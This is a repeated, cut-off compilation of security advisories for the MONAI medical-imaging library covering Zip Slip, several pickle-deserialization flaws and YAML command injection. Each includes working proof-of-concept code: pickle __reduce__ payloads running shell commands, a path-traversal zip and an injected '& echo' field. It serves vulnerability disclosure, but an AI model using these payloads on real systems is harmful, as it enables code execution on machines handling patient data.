2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var
bin         dev                         init  lib64   media          proc  sbin  tmp
boot        etc                         lib   libx32  mnt            root  srv   usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

GHSA-89gg-p5r5-q6r4 claims the pickle deserialization vulnerability in algo_from_pickle() was fixed in v1.5.2. However, monai/auto3dseg/utils.py has not been modified since 2024-07-12 — 18 months before v1.5.2 was released (2026-01-29). All three pickle.loads() calls remain unchanged. The fix was never implemented.

Vulnerable Code

File: monai/auto3dseg/utils.py (last commit: 2024-07-12, unchanged in v1.5.2)

def algo_from_pickle(pkl_filename: str, ...):
    with open(pkl_filename, "rb") as f_pi:
        data_bytes = f_pi.read()
    data = pickle.loads(data_bytes)          # SINK 1 — line 321, RCE fires here

    # isinstance/key checks happen AFTER deserialization — already too late

    algo_bytes = data.pop("algo_bytes")
    ...
    if len(template_paths_candidates) == 0:
        algo = pickle.loads(algo_bytes)      # SINK 2 — line 350
    else:
        for p in template_paths_candidates:
            algo = pickle.loads(algo_bytes)  # SINK 3 — line 356

No Unpickler subclass, no find_class restriction, no allowlist.

Why the Fix is Incomplete

- monai/auto3dseg/utils.py last commit: 2024-07-12 ("drop python 3.8")
- v1.5.2 released: 2026-01-29 — release notes contain no pickle-related changes
- v1.5.1 and v1.5.2 contain identical code at lines 321, 350, 356
- GHSA-89gg-p5r5-q6r4 references a Zip Slip fix (unrelated) as the patch

PoC

import pickle, os

class Exploit:
    def __reduce__(self):
        return (os.system, ('id > /tmp/rce_proof.txt',))

# Craft malicious pkl
data = {"algo_bytes": pickle.dumps(Exploit()), "template_path": None}
with open("/tmp/evil.pkl", "wb") as f:
    f.write(pickle.dumps(data))

# Trigger — monai/auto3dseg/utils.py lines 319-350 verbatim
with open("/tmp/evil.pkl", "rb") as f:
    data = pickle.loads(f.read())        # SINK 1 fires — RCE here
algo = pickle.loads(data["algo_bytes"])  # SINK 2 fires

print(open("/tmp/rce_proof.txt").read())
# uid=1000(user) gid=1000(user) groups=...

Verified on monai v1.5.2 (utils.py verbatim source):
[+] RCE CONFIRMED via algo_from_pickle():
    desktop-5657tb1\woong

Impact

Any application or ML pipeline calling algo_from_pickle() with an
attacker-supplied file path is vulnerable to full RCE. Medical AI workflows
frequently exchange model checkpoints, making this a realistic attack vector.

Summary

A Path Traversal (Zip Slip) vulnerability exists in MONAI's _download_from_ngc_private() function. The function uses zipfile.ZipFile.extractall() without path validation, while other similar download functions in the same codebase properly use the existing safe_extract_member() function.

This appears to be an implementation oversight, as safe extraction is already implemented and used elsewhere in MONAI.

CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)

Details

Vulnerable Code Location

File: monai/bundle/scripts.py
Lines: 291-292
Function: _download_from_ngc_private()

# monai/bundle/scripts.py - Lines 284-293
zip_path = download_path / f"{filename}_v{version}.zip"
with open(zip_path, "wb") as f:
    f.write(response.content)
logger.info(f"Downloading: {zip_path}.")
if remove_prefix:
    filename = _remove_ngc_prefix(filename, prefix=remove_prefix)
extract_path = download_path / f"{filename}"
with zipfile.ZipFile(zip_path, "r") as z:
    z.extractall(extract_path)  # <-- No path validation
    logger.info(f"Writing into directory: {extract_path}.")

Root Cause

The code calls z.extractall(extract_path) directly without validating that archive member paths stay within the extraction directory.

Safe Code Already Exists

MONAI already has a safe extraction function in monai/apps/utils.py (lines 125-154) that properly validates paths:

def safe_extract_member(member, extract_to):
    """Securely verify compressed package member paths to prevent path traversal attacks"""
    # ... path validation logic ...
    
    if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
        raise ValueError(f"Unsafe path detected in archive: {member_path}")
    
    # Ensure path stays within extraction root
    if os.path.commonpath([extract_root, target_real]) != extract_root:
        raise ValueError(f"Unsafe path: path traversal {member_path}")

Comparison with Other Download Functions

| Function | File | Uses Safe Extraction? | |----------|------|----------------------| | _download_from_github() | scripts.py:198 | ✅ Yes (via extractall() wrapper) | | _download_from_monaihosting() | scripts.py:205 | ✅ Yes (via extractall() wrapper) | | _download_from_bundle_info() | scripts.py:215 | ✅ Yes (via extractall() wrapper) | | _download_from_ngc_private() | scripts.py:292 | ❌ No (direct z.extractall()) |

PoC

Step 1: Create a Malicious Zip File

#!/usr/bin/env python3
"""Create malicious zip with path traversal entries"""
import zipfile
import io

def create_malicious_zip(output_path="malicious_bundle.zip"):
    zip_buffer = io.BytesIO()
    
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Normal bundle file
        zf.writestr(
            "monai_test_bundle/configs/metadata.json",
            '{"name": "test_bundle", "version": "1.0.0"}'
        )
        
        # Path traversal entry
        zf.writestr(
            "../../../tmp/escaped_file.txt",
            "This file was written outside the extraction directory.\n"
        )
    
    with open(output_path, 'wb') as f:
        f.write(zip_buffer.getvalue())
    
    print(f"Created: {output_path}")
    with zipfile.ZipFile(output_path, 'r') as zf:
        print("Contents:")
        for name in zf.namelist():
            print(f"  - {name}")

if __name__ == "__main__":
    create_malicious_zip()

Output:

Created: malicious_bundle.zip
Contents:
  - monai_test_bundle/configs/metadata.json
  - ../../../tmp/escaped_file.txt

Step 2: Demonstrate the Difference

This script shows the difference between the vulnerable pattern (used in _download_from_ngc_private) and the safe pattern (used elsewhere in MONAI):

#!/usr/bin/env python3
"""Compare vulnerable vs safe extraction"""
import zipfile
import tempfile
import os

def vulnerable_extraction(zip_path, extract_path):
    """Pattern used in monai/bundle/scripts.py:291-292"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as z:
        z.extractall(extract_path)
    print("[VULNERABLE] Extraction completed without validation")

def safe_extraction(zip_path, extract_path):
    """Pattern used in monai/apps/utils.py"""
    os.makedirs(extract_path, exist_ok=True)
    with zipfile.ZipFile(zip_path, "r") as zf:
        for member in zf.infolist():
            member_path = os.path.normpath(member.filename)
            
            # Check for path traversal
            if os.path.isabs(member_path) or ".." in member_path.split(os.sep):
                print(f"[SAFE] BLOCKED: {member.filename}")
                continue
            
            print(f"[SAFE] Allowed: {member.filename}")

# Run demo
print("=" * 50)
print("VULNERABLE PATTERN (scripts.py:291-292)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    vulnerable_extraction("malicious_bundle.zip", tmpdir)
    for root, dirs, files in os.walk(tmpdir):
        for f in files:
            rel_path = os.path.relpath(os.path.join(root, f), tmpdir)
            print(f"  Extracted: {rel_path}")

print()
print("=" * 50)
print("SAFE PATTERN (apps/utils.py)")
print("=" * 50)
with tempfile.TemporaryDirectory() as tmpdir:
    safe_extraction("malicious_bundle.zip", tmpdir)

Output:

==================================================
VULNERABLE PATTERN (scripts.py:291-292)
==================================================
[VULNERABLE] Extraction completed without validation
  Extracted: monai_test_bundle/configs/metadata.json
  Extracted: tmp/escaped_file.txt

==================================================
SAFE PATTERN (apps/utils.py)
==================================================
[SAFE] Allowed: monai_test_bundle/configs/metadata.json
[SAFE] BLOCKED: ../../../tmp/escaped_file.txt

Impact

Conditions Required for Exploitation

1. Attacker must control or compromise an NGC private repository
2. Victim must configure MONAI to download from that repository
3. Victim must use source="ngc_private" parameter

Potential Impact

If exploited, an attacker could write files outside the intended extraction directory. The actual impact depends on:

• The permissions of the user running MONAI
• The target location of the escaped files
• Python version (newer versions have some built-in path normalization)

Mitigating Factors

• Requires attacker to control an NGC private repository
• Modern Python versions (3.12+) have some built-in path normalization
• The ngc_private source is less commonly used than other sources

Recommended Fix

Replace the direct extractall() call with MONAI's existing safe extraction:

# monai/bundle/scripts.py

+ from monai.apps.utils import _extract_zip

def _download_from_ngc_private(...):
    # ... existing code ...
    
    extract_path = download_path / f"{filename}"
-   with zipfile.ZipFile(zip_path, "r") as z:
-       z.extractall(extract_path)
-       logger.info(f"Writing into directory: {extract_path}.")
+   _extract_zip(zip_path, extract_path)
+   logger.info(f"Writing into directory: {extract_path}.")

This aligns _download_from_ngc_private() with the other download functions and ensures consistent security across all download sources.

Resources

• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• Snyk: Zip Slip Vulnerability
• Python zipfile.extractall() Warning

Summary

The algo_from_pickle function in monai/auto3dseg/utils.py causes pickle.loads(data_bytes) to be executed, and it does not perform any validation on the input parameters. This ultimately leads to insecure deserialization and can result in code execution vulnerabilities.

Details

poc

import pickle
import subprocess
class MaliciousAlgo:
    def __reduce__(self):
        return (subprocess.call, (['calc.exe'],))
malicious_algo_bytes = pickle.dumps(MaliciousAlgo())

attack_data = {
    "algo_bytes": malicious_algo_bytes,  
     
}
attack_pickle_file = "attack_algo.pkl"
with open(attack_pickle_file, "wb") as f:
    f.write(pickle.dumps(attack_data))

Generate the malicious file "attack_algo.pkl" through POC.

from monai.auto3dseg.utils import algo_from_pickle


attack_pickle_file = "attack_algo.pkl"
result = algo_from_pickle(attack_pickle_file)

Ultimately, it will trigger pickle.load through a file to identify the command execution.

Causes of the vulnerability:

def algo_from_pickle(pkl_filename: str, template_path: PathLike | None = None, **kwargs: Any) -> Any:

    with open(pkl_filename, "rb") as f_pi:
            data_bytes = f_pi.read()
        data = pickle.loads(data_bytes)

Impact

Arbitrary code execution

Repair suggestions Verify the data source and content before deserializing, or use a safe deserialization method

To prevent this report from being deemed inapplicable or out of scope, due to the project's unique nature (for medical applications) and widespread popularity (6k+ stars), it's important to pay attention to some of the project's inherent security issues. (This is because medical professionals may not pay enough attention to security issues when using this project, leading to attacks on services or local machines.)

Summary

The pickle_operations function in monai/data/utils.py automatically handles dictionary key-value pairs ending with a specific suffix and deserializes them using pickle.loads() . This function also lacks any security measures.

When verified using the following proof-of-concept, arbitrary code execution can occur.

#Poc
from monai.data.utils import pickle_operations  

import pickle  
import subprocess  
  
class MaliciousPayload:  
    def __reduce__(self):    
        return (subprocess.call, (['touch', '/tmp/hacker1.txt'],))  
  
malicious_data = pickle.dumps(MaliciousPayload())

attack_data = {  
    'image': 'normal_image_data',  
    'label_transforms': malicious_data,  
    'metadata_transforms': malicious_data  
}

result = pickle_operations(attack_data, is_encode=False)  

#My /tmp directory contents before running the POC
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log selenium-managersXRcjF supervisor.sock supervisord.pid

Before running the command, there was no hacker1.txt content in my /tmp directory, but after running the command, the command was executed, indicating that the attack was successful.

#Running Poc
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  selenium-managersXRcjF  supervisor.sock  supervisord.pid
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python r1.py 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid

The above proof-of-concept is merely a validation of the vulnerability. The attacker creates malicious dataset content.

malicious_data = {
  'image': normal_image_tensor,
  'label': normal_label_tensor,
  'preprocessing_transforms': pickle.dumps(MaliciousPayload()), # Malicious payload
  'augmentation_transforms': pickle.dumps(MaliciousPayload()) # Multiple attack points
}

dataset = [malicious_data, ...]

When a user batch-processes data using MONAI's list_data_collate function, the system automatically calls pickle_operations to handle the serialization transformations.

from monai.data import list_data_collate

dataloader = DataLoader(
dataset,
batch_size=4,
collate_fn=list_data_collate # Trigger the vulnerability
)

# Automatically execute malicious code while traversing the data

for batch in dataloader:

# Malicious code is executed in pickle_operations

pass

When a user loads a serialized file from an external, untrusted source, the remote code execution (RCE) is triggered.

Impact

Arbitrary code execution

Repair suggestions

Verify the data source and content before deserializing, or use a safe deserialization method, which should have a similar fix in huggingface's transformer library.

Summary

In model_dict = torch.load(full_path, map_location=torch.device(device), weights_only=True) in monai/bundle/scripts.py , weights_only=True is loaded securely. However, insecure loading methods still exist elsewhere in the project, such as when loading checkpoints.

This is a common practice when users want to reduce training time and costs by loading pre-trained models downloaded from platforms like huggingface.

Loading a checkpoint containing malicious content can trigger a deserialization vulnerability, leading to code execution.

The following proof-of-concept demonstrates the issues that arise when loading insecure checkpoints.

import os  
import tempfile  
import json  
import torch  
from pathlib import Path  
  
class MaliciousPayload:  
    def __reduce__(self):  
        return (os.system, ('touch /tmp/hacker2.txt',))  
  
def test_checkpoint_loader_attack():  

      

    temp_dir = Path(tempfile.mkdtemp())  
    checkpoint_file = temp_dir / "malicious_checkpoint.pt"  
      

    malicious_checkpoint = {  
        'model_state_dict': MaliciousPayload(),  
        'optimizer_state_dict': {},  
        'epoch': 100  
    }  
      

    torch.save(malicious_checkpoint, checkpoint_file)  
      
     
    from monai.handlers import CheckpointLoader  
    import torch.nn as nn  
          
 
    model = nn.Linear(10, 1)  
        
    loader = CheckpointLoader(  
        load_path=str(checkpoint_file),  
        load_dict={"model": model}  
    )  
          
    class MockEngine:  
        def __init__(self):  
            self.state = type('State', (), {})()  
            self.state.max_epochs = None  
            self.state.epoch = 0  
          
    engine = MockEngine()  
    loader(engine)  
          
          
    proof_file = "/tmp/hacker2.txt"  
    if os.path.exists(proof_file):  
        print("Succes")  
        #os.remove(proof_file)  
        return True  
    else:  
        print("False")  
        return False  
  
if __name__ == "__main__":   
    success = test_checkpoint_loader_attack()  

Because my test environment is missing some content, an error will be reported during operation, but the operation is still executed.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python p2.py 
Traceback (most recent call last):
  File "/root/autodl-tmp/mmm/p2.py", line 61, in <module>
    success = test_checkpoint_loader_attack()  
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/root/autodl-tmp/mmm/p2.py", line 48, in test_checkpoint_loader_attack
    loader(engine)  
    ^^^^^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/monai/handlers/checkpoint_loader.py", line 146, in __call__
    Checkpoint.load_objects(to_load=self.load_dict, checkpoint=checkpoint, strict=self.strict)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 624, in load_objects
    _tree_apply2(_load_object, to_load, checkpoint_obj)
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 209, in _tree_apply2
    _tree_apply2(func, _CollectionItem.wrap(x, k, v), y[k])
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/utils.py", line 216, in _tree_apply2
    return func(x, y)
           ^^^^^^^^^^
  File "/root/miniconda3/lib/python3.12/site-packages/ignite/handlers/checkpoint.py", line 613, in _load_object
    obj.load_state_dict(chkpt_obj, **kwargs)
  File "/root/miniconda3/lib/python3.12/site-packages/torch/nn/modules/module.py", line 2581, in load_state_dict
    raise RuntimeError(
RuntimeError: Error(s) in loading state_dict for Linear:
        Missing key(s) in state_dict: "weight", "bias". 
        Unexpected key(s) in state_dict: "model_state_dict", "optimizer_state_dict", "epoch". 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /tmp
autodl.sh.log  checkpoint_pwned.txt  hacker1.txt  hacker2.txt  selenium-managersXRcjF  supervisor.sock  supervisord.pid  tmpgjp8145d  tmpi02txakb  tmpi3_u3wn8  tmpjvuhwif6  tmpkocoo34q  tmpp3q8occa

Impact

Leading to arbitrary command execution

Fix suggestion

Use a safe method to load, or force weights_only=True

Summary

The extractall function zip_file.extractall(output_dir) is used directly to process compressed files. It is used in many places in the project. When the Zip file containing malicious content is decompressed, it will overwrite the system files. In addition, the project allows the download of the zip content through the link, which increases the scope of exploitation of this vulnerability.

When reproducing locally, follow the process below to create a malicious zip file and simulate the process of remotely downloading the zip file.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# mkdir -p test_bundle
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# echo "malicious content" > test_bundle/malicious.txt 
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# cd test_bundle  
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# zip -r ../malicious.zip . ../../../../../../etc/passwd
  adding: malicious.txt (stored 0%)
  adding: ../../../../../../etc/passwd (deflated 64%)
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm/test_bundle# cd ..
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls
malicious.zip  p1.py  p2.py  r1.py  test_bundle

Then start the http service through python

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Another terminal simulates a normal user downloading zip content from the Internet, perhaps from some popular forums or blogs, such as huggingface, etc.

root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# python -c "from monai.bundle.scripts import download; download(name='test_bundle', url='http://localhost:8000/malicious.zip', bundle_dir='/tmp/test_extract')"
2025-08-11 20:49:01,668 - INFO - --- input summary of monai.bundle.scripts.download ---
2025-08-11 20:49:01,668 - INFO - > name: 'test_bundle'
2025-08-11 20:49:01,668 - INFO - > bundle_dir: '/tmp/test_extract'
2025-08-11 20:49:01,668 - INFO - > source: 'monaihosting'
2025-08-11 20:49:01,668 - INFO - > url: 'http://localhost:8000/malicious.zip'
2025-08-11 20:49:01,668 - INFO - > remove_prefix: 'monai_'
2025-08-11 20:49:01,668 - INFO - > progress: True
2025-08-11 20:49:01,668 - INFO - ---


test_bundle.zip: 8.00kB [00:00, 204kB/s]
2025-08-11 20:49:01,710 - INFO - Downloaded: /tmp/test_extract/test_bundle.zip
2025-08-11 20:49:01,710 - INFO - Expected md5 is None, skip md5 check for file /tmp/test_extract/test_bundle.zip.
2025-08-11 20:49:01,710 - INFO - Writing into directory: /tmp/test_extract.
2025-08-11 20:49:01,711 - WARNING - metadata file not found in /tmp/test_extract/test_bundle/configs/metadata.json.
root@autodl-container-a53c499c18-c5ca272d:~/autodl-tmp/mmm# ls /
autodl-pub  cuda-keyring_1.0-1_all.deb  home  lib32   **malicious.txt**  opt   run   sys  var
bin         dev                         init  lib64   media          proc  sbin  tmp
boot        etc                         lib   libx32  mnt            root  srv   usr

We can see that malicious.txt was indeed extracted to the root directory, demonstrating that the path traversal successfully wrote the malicious file. If the Zip file contains SSH keys, malicious content that automatically loads when the user boots the computer, or overwrites legitimate user files, causing services to become inoperable, these actions could cause extremely serious damage.

Impact

Arbitrary file write

Repair Suggestions

Check the contents of the downloaded Zip file, or use a safer method to load it

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

• torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
• PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
3. LoadImage selects NumpyReader based on file extension
4. NumpyReader.read() calls np.load(name, allow_pickle=True)
5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Comment from JPCERT/CC

We are submitting the report again as we have yet to receive any responses from you after submitting it on February 5 and March 11.

It would be greatly appreciated if you could send us a message after confirming it so that we can follow up the case by email.

Summary

MONAI vulnerable to OS command injection.

Details

This library concatenates user-controlled values (YAML's "dataset_name_or_id" or part of "CLI/kwargs") without quoting or validation. Since this string is passed to subprocess with shell=True, shell metacharacters (e.g., Windows: & / Linux: ;) are interpreted.

As a result, arbitrary commands can be concatenated and executed. Therefore, the reporter identifies this as CWE-78 (OS Command Injection).

The victim needs to load a crafted YAML file in the code that launches training/validation jobs based on the configuration (YAML/arguments). There are no other constraints.

PoC

Verified on Windows. Load a modified YAML file with crafted "dataset_name_or_id" as follows. Add command separator characters (such as & or ;) and insert arbitrary commands.

dataset_name_or_id: '4 & echo "This is exploited" > "C:\Users\shima\OneDrive\Desktop\tmp\test.txt" & rem' dataroot: C:/Users/shima/OneDrive/Desktop/tmp/data datalist: C:/Users/shima/OneDrive/Desktop/tmp/lists/task4.json work_dir: C:/Users/shima/OneDrive/Desktop/tmp/work nnunet_raw: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_raw nnunet_preprocessed: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_preprocessed nnunet_results: C:/Users/shima/OneDrive/Desktop/tmp/nnUNet_results

As a victim, verify running the following Python code to load and process the YAML file.

from monai.apps.nnunet.nnunetv2_runner import nnUNetV2Runner from pathlib import Path #Path of the crafted YAML file YAML = r"C:\Users\shima\OneDrive\Desktop\tmp\test.yaml" #Text file overwritten when command executes OUT = Path(r"C:\Users\shima\OneDrive\Desktop\tmp\test.txt") #Read YAML runner = nnUNetV2Runner(input_config=YAML, trainer_class_name="nnUNetTrainer") runner.train_single_model(config="3d_fullres", fold=0, gpu_id=0) #Verify command execution print("Result:", OUT.read_text(encoding="utf-8").strip())

Also, see the attached file. JVN#50379904-details.zip

Summary

